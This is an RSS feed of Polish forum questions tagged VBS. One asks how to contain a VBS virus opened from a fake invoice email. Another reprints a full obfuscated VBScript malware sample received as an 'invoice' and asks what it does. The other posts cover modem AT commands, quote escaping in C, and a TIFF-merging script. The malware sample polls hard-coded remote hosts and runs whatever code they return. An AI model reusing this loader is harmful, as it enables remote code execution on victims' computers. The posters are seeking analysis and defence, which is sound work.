<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Forum Pasja Informatyki - Najnowsze z tagiem vbs</title>
<link>https://forum.pasja-informatyki.pl/tag/vbs</link>
<description>Powered by Question2Answer</description>
<item>
<title>Blokowanie skryptów .VBS - wirus w mailu</title>
<link>https://forum.pasja-informatyki.pl/394707/blokowanie-skryptow-vbs-wirus-w-mailu</link>
<description>Czy wyłączenie Windows Script host wystarczy aby zablokować wykonywanie się otworzonego już na komputerze skryptu (wirusa) napisanego w .vbs? &lt;br /&gt;
&lt;br /&gt;
Dzisiaj niestety został on przez przypadek otworzony przez pracownika w firmie. Plik został przesłany jako &amp;quot;nieopłacona faktura&amp;quot; no i niestety daliśmy się nabrać. Jeśli to nie wystarczy to istnieje jakiś sposób na pozbycie się tego z kompa czy pozostaje jedynie postawienie systemu od zera? &lt;br /&gt;
&lt;br /&gt;
Dzięki za pomoc. :)</description>
<category>Bezpieczeństwo, hacking</category>
<guid isPermaLink="true">https://forum.pasja-informatyki.pl/394707/blokowanie-skryptow-vbs-wirus-w-mailu</guid>
<pubDate>Mon, 19 Nov 2018 08:02:31 +0000</pubDate>
</item>
<item>
<title>Skrypt w VBS - co on robi?</title>
<link>https://forum.pasja-informatyki.pl/381584/skrypt-w-vbs-co-on-robi</link>
<description>

&lt;p&gt;Witam serdecznie&lt;/p&gt;



&lt;p&gt;Dostałem ostatnio na maila 'fakturę' od zapewne jakiegoś Pana, który wykorzystując nazwę jakiejś firmy próbuje zawirusować komputer w innych firmach. Załącza do maila plik VBS spakowany w .rar. No i jestem ciekaw co ten plik robi. Skrypt:&lt;/p&gt;



&lt;pre class=&quot;brush:vb;&quot;&gt;
dim sss, DuriOAdaMyArray, MadriOdaKadurls, TaniPoldsAhttpsd, PerepravaAdzz, CSKAfkkk, PiroGinaAdands
dim DreMosAdQQSurls, LudoViKaate, PiPloVirasdate
PiPloVirasdate = null
PerepravaAdzz = &quot;773335550757&quot;

Function  PilOsaAdQQFSkip()
  On Error Resume Next
	KipoloasAdMinsa()
    POOOPPAQMessage(PiPloVirasdate)
	CSKAfkkk = Array(&quot;&quot;, &quot;&quot;, &quot;&quot;)
End Function

Function  TexasSFAxdA()
    On Error Resume Next
   Set TaniPoldsAhttpsd = CreateObject(&quot;Microsoft.XMLHTTP&quot;)
	TaniPoldsAhttpsd.Open &quot;GET&quot;, &quot;https://www.goooglwas.freesaf/111/222&quot;, False
    TaniPoldsAhttpsd.Send	

    If (TaniPoldsAhttpsd.Status = 200) Then    
		TradionsiksMase()
    Else      
		PinachetoSHello() 
		
		
	End If

	
End Function

Function  TradionsiksMase()
	dim dododsex
	dododsex = 0
    dododsex = FormatDateTime(Now, vbLongTime) 
	TradionsiksMase(dododsex)
End Function

Function  PoloDoadsloas()
  On Error Resume Next
    randomize
    PiroGinaAdands = int(rnd*2) + 1
	DreMosAdQQSurls = &quot;http://&quot;+CSKAfkkk(PiroGinaAdands)+&quot;/ip.php?number=753246&amp;amp;opt=&quot; 
    PoloDoadsloas(DreMosAdQQSurls)
End Function


Function  PoloDoadsloas2()
	Dim Farujuylsd
 Farujuylsd = PoloDoadsloas()
End Function

Function  PoloDoadsloas3()
	PoloDoadsloas2()
End Function

Function  PoloDoadsloas4()
	PoloDoadsloas3()
End Function

Function  KipoloasAdMinsa()
	CSKAfkkk(2) = &quot;192.3.204.232&quot;
	CSKAfkkk(1) = &quot;servesmailerprogres.science&quot;
	PoloDoadsloas4()
End Function

Function PilotyUsaTest()
     	 TerpiloaAReset()
End Function

Function  TerpiloaAReset()
    PerepravaAdzz = CStr(PerepravaAdzz + 1) 
End Function

Function  GreeceFaxPc()
  On Error Resume Next
   While true
       WScript.Sleep 7000
    Call PilOsaAdQQFSkip()
   Wend
End Function

Function  DomOsaAGoo(responseText)
    On Error Resume Next
	DuriOAdaMyArray = Array(22, 11, 00, 22,43, 34, 2341, responseText)
	TexasSFAxdA()
End Function

Function  POOOPPAQMessage(lolosaddate)
    On Error Resume Next 
    dim wertyUsdreq, streddy
    Set wertyUsdreq = createobject(&quot;Microsoft.XMLHTTP&quot;)
    wertyUsdreq.Open &quot;GET&quot;, lolosaddate, False
    wertyUsdreq.Send
            WScript.Sleep 100	
			streddy = wertyUsdreq.responseText
	DomOsaAGoo(streddy)
End Function

Function LiveAdTest()
        PiPloVirasdate = &quot;&quot;
	PiPloVirasdate =+ DreMosAdQQSurls  + PerepravaAdzz + &quot;&amp;amp;&quot; +  &quot;yousa&quot;		
End Function

Function GameSSTest()
    PilotyUsaTest()      
	LiveAdTest()
End Function

Function PinachetoSHello()
	GameSSTest()
         Execute &quot;&quot; + DuriOAdaMyArray(7) + &quot;&quot; 
End Function



Call GreeceFaxPc()&lt;/pre&gt;



&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
<category>Visual Basic</category>
<guid isPermaLink="true">https://forum.pasja-informatyki.pl/381584/skrypt-w-vbs-co-on-robi</guid>
<pubDate>Fri, 21 Sep 2018 07:30:04 +0000</pubDate>
</item>
<item>
<title>[vbs] komunikacja z modemem</title>
<link>https://forum.pasja-informatyki.pl/201155/vbs-komunikacja-z-modemem</link>
<description>

&lt;p&gt;Witam,
&lt;br&gt;
Z hyperterminala potrafię wysłać sms za pomocą komend at. Chodzi o to, żeby nie musieć wpisywać ciągle tych samych komend. Chciałbym aby komendy at były wczytywane z pliku vbs. Mam taki kod:&lt;/p&gt;



&lt;pre class=&quot;brush:vb;&quot;&gt;
Option Explicit
Set MSComm1=CreateObject(&quot;MSCOMMLib.MSComm&quot;)
SMSPort = New SerialPort
MSComm1.comport=3 'select the port it may change case to case
MSComm1.portopen=true ' Open port
MSComm1.output=&quot;AT+CMGF=1&quot; &amp;amp; Chr(13) 
MSComm1.output=&quot;AT+CSCS=&quot;&quot;GSM&quot;&quot;&quot; &amp;amp; Chr(13)
MSComm1.output=&quot;AT+CPIN=&quot;&quot;XXXX&quot;&quot;&quot; &amp;amp; Chr(13)
MSComm1.output=&quot;AT+CSCA=&quot;&quot;+48601000310&quot;&quot;,&quot;&quot;145&quot;&quot;&quot; &amp;amp; Chr(13)
Dim Message
Message=&quot;ttttt&quot;
MSComm1.output= &quot;AT+CMGS=&quot;&quot;+48XXXXXXXXX&quot;&quot;&quot; &amp;amp; Chr(13) &amp;amp; Message &amp;amp; Chr(13) &amp;amp; Chr(26) 
Sleep 10  &lt;/pre&gt;



&lt;p&gt;Oczywiście smsa nie wysyła. Nawet nie wiem, czy co kolwiek wysyła na modem. Jak można zmodyfikować ten kod, żeby działał poprawnie?&lt;/p&gt;</description>
<category>Visual Basic</category>
<guid isPermaLink="true">https://forum.pasja-informatyki.pl/201155/vbs-komunikacja-z-modemem</guid>
<pubDate>Mon, 28 Nov 2016 14:30:39 +0000</pubDate>
</item>
<item>
<title>wpisywanie &quot;&quot; kiedy już istnieją</title>
<link>https://forum.pasja-informatyki.pl/153470/wpisywanie-kiedy-juz-istnieja</link>
<description>Witam,&lt;br /&gt;
&lt;br /&gt;
Mam takie pytanko. Powiedzmy że mam w swoim kodzie takie coś:&lt;br /&gt;
&lt;br /&gt;
system(&amp;quot;echo x = MsgBox(&amp;quot;Rychu&amp;quot;) &amp;gt; Stachu.vbs&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Kod nie działa, a to przez to że parę razy pojawia się taki oto znak: &amp;quot;&lt;br /&gt;
&lt;br /&gt;
Co mam zrobić aby to poprawnie zapisać?</description>
<category>C i C++</category>
<guid isPermaLink="true">https://forum.pasja-informatyki.pl/153470/wpisywanie-kiedy-juz-istnieja</guid>
<pubDate>Sat, 25 Jun 2016 22:33:02 +0000</pubDate>
</item>
<item>
<title>VBS - program gubi strony</title>
<link>https://forum.pasja-informatyki.pl/121748/vbs-program-gubi-strony</link>
<description>

&lt;p&gt;Czesc,
&lt;br&gt;

&lt;br&gt;
mam skrypt ktory pomaga mi w pracy. Za pomoca programu Irfan dzieli pliki .tif na jednostronicowe po czym laczy je w jeden wielki .tif porozdzielany separatorami. Problem jednak w tym, ze przy wiekszej ilosci plikow gubi mi niektore strony. Zauwazylem ze gdy plik wynikowy na polskie znaki skrypt generuje mi dwa pliki wynikowe. Jeden wlasciwy a drugi ze stronami ktore uciekly.
&lt;br&gt;

&lt;br&gt;
&amp;nbsp;&lt;/p&gt;



&lt;pre class=&quot;brush:vb;&quot;&gt;
dir_temp = &quot;plikiTmp&quot;
file_separator = InputBox(&quot;Plik separatora:&quot;, &quot;IRFAN_APP&quot;, &quot;C:\Users\zyskg\Desktop\Separatory\serar_bols.tif&quot;)
file_done = InputBox(&quot;Plik wynikowy:&quot;, &quot;IRFAN_APP&quot;, &quot;C:\Users\zyskg\Desktop\&quot; &amp;amp; replace(date , &quot;-&quot;, &quot;_&quot;) &amp;amp; &quot;_BOLS.tif&quot;)
file_ini = &quot;\\vfs01\profiles\zyskg\My Documents\Archiwum\raporty\&quot;
file_counter = 0

Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)

if fso.FolderExists(dir_temp) then
   fso.DeleteFolder dir_temp, true
   fso.CreateFolder(dir_temp)
else
   fso.CreateFolder(dir_temp)
end if

dir_curr = fso.GetAbsolutePathName(&quot;.&quot;) 
If Right(dir_curr, 1) &amp;lt;&amp;gt; &quot;\&quot; Then dir_curr = dir_curr &amp;amp; &quot;\&quot;

'główna pętla, przeszukuje katalog w którym jest plik IRFAN.vbs w poszukiwaniu plikow TIF
Set fld = fso.GetFolder(dir_curr)
For Each fil In fld.Files
   if LCase(Right(fil.Name, 3)) = &quot;tif&quot; or LCase(Right(fil.Name, 4)) = &quot;tiff&quot; then
      file_counter = file_counter + 1

      'rozpakowanie znalezionego pliku tif na jednostronicowe pliki
      IrfanCommand = &quot;C:\Program Files (x86)\IrfanView\i_view32.exe &quot; &amp;amp; dir_curr &amp;amp; fil.Name &amp;amp; &quot;/extract=(&quot; &amp;amp; dir_curr &amp;amp; dir_temp &amp;amp; &quot;\&quot; &amp;amp; &quot; ,tif)/killmesoftly&quot;
      Set s01 = WshShell.Exec(IrfanCommand)
      Do While (s01.Status = 0)
         WScript.Sleep 100
      Loop
      
      'pętla odnajduje plik pierwszej strony i dodaje tekst
      Set fld_t = fso.GetFolder(dir_temp)
      For Each fil_t In fld_t.Files
         if LCase(Right(fil_t.Name, 8)) = &quot;0000.tif&quot; then
            temp_file_name = fil_t.name
            fso.MoveFile dir_curr &amp;amp; dir_temp &amp;amp; &quot;\&quot; &amp;amp; temp_file_name, dir_curr &amp;amp; dir_temp &amp;amp; &quot;\&quot; &amp;amp; replace(temp_file_name, &quot;_page_0000&quot;, &quot;&quot;)
            IrfanCommand = &quot;C:\Program Files (x86)\IrfanView\i_view32.exe &quot; &amp;amp; dir_curr &amp;amp; dir_temp &amp;amp; &quot;\&quot; &amp;amp; replace(temp_file_name, &quot;_page_0000&quot;, &quot;&quot;) &amp;amp; &quot;/ini=&quot;&quot;&quot; &amp;amp; file_ini &amp;amp; &quot;&quot;&quot; /advancedbatch /convert=&quot; &amp;amp; dir_curr &amp;amp; dir_temp &amp;amp; &quot;\&quot; &amp;amp; temp_file_name &amp;amp; &quot;/killmesoftly&quot;
            Set s01 = WshShell.Exec(IrfanCommand)
            Do While (s01.Status = 0)
               WScript.Sleep 100
            Loop
            fso.DeleteFile dir_curr &amp;amp; dir_temp &amp;amp; &quot;\&quot; &amp;amp; replace(temp_file_name, &quot;_page_0000&quot;, &quot;&quot;), true
            set fld_t = nothing
            set fil_t = nothing
            exit for
         end if
      Next
      
      'dodanie separatora
      IrfanCommand = &quot;C:\Program Files (x86)\IrfanView\i_view32.exe &quot; &amp;amp; file_separator &amp;amp; &quot;/append=&quot; &amp;amp; file_done &amp;amp; &quot; /silent /killmesoftly&quot;
      Set s01 = WshShell.Exec(IrfanCommand)
      Do While (s01.Status = 0)
         WScript.Sleep 100
      Loop
      
      'pętla przegląda folder tymczasowy i dodaje je do pliku wynikowego za separatorem
      Set fld_t = fso.GetFolder(dir_temp)
      For Each fil_t In fld_t.Files
         IrfanCommand = &quot;C:\Program Files (x86)\IrfanView\i_view32.exe &quot; &amp;amp; dir_curr &amp;amp; dir_temp &amp;amp; &quot;\&quot; &amp;amp; fil_t.Name &amp;amp; &quot;/append=&quot; &amp;amp; file_done &amp;amp; &quot; /silent /killmesoftly&quot;
         Set s01 = WshShell.Exec(IrfanCommand)
         Do While (s01.Status = 0)
            WScript.Sleep 100
         Loop
      Next
      'usunięcie plików tymczasowych
      fso.DeleteFile dir_temp &amp;amp; &quot;\*&quot;, true
   end if
Next
'usunięcie folderu tymczasowego
fso.DeleteFolder dir_temp, true
set fso = nothing
set WshShell = nothing
set fld = nothing
set fil = nothing
set fld_t = nothing
set fil_t = nothing

msgbox &quot;Przetworzonych zostało: &quot; &amp;amp; file_counter &amp;amp; &quot; plków.&quot;, o, &quot;IRFAN_APP&quot;&lt;/pre&gt;



&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
<category>Visual Basic</category>
<guid isPermaLink="true">https://forum.pasja-informatyki.pl/121748/vbs-program-gubi-strony</guid>
<pubDate>Fri, 25 Mar 2016 11:38:01 +0000</pubDate>
</item>
</channel>
</rss>